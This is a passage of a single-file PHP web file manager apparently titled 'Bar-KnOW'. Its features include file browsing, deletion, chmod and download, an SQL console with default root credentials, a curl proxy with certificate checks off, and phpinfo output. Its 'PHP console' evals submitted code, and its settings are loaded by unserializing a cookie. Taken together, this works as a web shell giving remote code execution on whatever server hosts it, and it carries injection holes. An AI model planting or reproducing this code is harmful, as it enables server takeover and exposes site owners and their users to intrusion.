	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Bar-KnOW</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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